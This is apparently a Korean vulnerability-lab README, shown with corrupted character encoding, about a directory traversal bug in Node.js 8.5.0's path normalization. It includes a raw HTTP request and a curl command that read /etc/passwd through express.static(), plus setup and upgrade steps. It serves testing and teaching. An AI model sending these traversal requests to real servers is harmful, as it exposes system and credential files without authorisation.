Contributors
Node.js 8.5.0μμ νμΌ κ²½λ‘ μ κ·ν(Path Normalization) μ·¨μ½μ μ΄ μλ€. μμ λλ ν°λ¦¬λ‘ μ΄λνλ κ²½λ‘ μ€κ°μ μλͺ»λ ν΄λκ° ν¬ν¨λ κ²½μ°(μ: ../../../foo/../../../etc/passwd) μ€λ₯λ₯Ό λ°νν΄μΌ νμ§λ§, μ κ·ν λ²κ·Έλ‘ μΈν΄ /etc/passwd λ΄μ©μ κ·Έλλ‘ λ°ννλ€.
express.static()μ λ΄λΆμ μΌλ‘ κ²½λ‘ μ κ·νλ₯Ό μννλ©° λλ ν°λ¦¬ λ²μ μ΄κ³Ό μ¬λΆλ₯Ό νμΈνμ§λ§, Node.js 8.5.0μ μ κ·ν ν¨μ λ²κ·Έλ‘ μΈν΄ μ΄ κ²μ¬κ° μ°νλλ€.
μ°Έκ³ μλ£:
docker compose up -d
http://your-ip:3000/μΌλ‘ μ μν μ μλ€.
/static/main.jsμ μ μ νμΌμ΄ μ‘΄μ¬νλ€. μλ μμ²μΌλ‘ λλ ν°λ¦¬ νΈλλ²μ€μ μλνλ€:
GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: your-ip:3000
curlλ‘ ν
μ€νΈν κ²½μ° κ²½λ‘ μ κ·νλ₯Ό λ§κΈ° μν΄ --path-as-is μ΅μ
μ μ¬μ©ν΄μΌ νλ€:
curl --path-as-is "http://your-ip:3000/static/../../../a/../../../../etc/passwd"
μλ²κ° /etc/passwd λ΄μ©μ μλ΅μΌλ‘ λ°ννλ©΄ μ·¨μ½μ μ΄ νμΈλ κ²μ΄λ€.
docker compose down
- Node.js 8.6.0 μ΄μμΌλ‘ μ λ°μ΄νΈνλ€.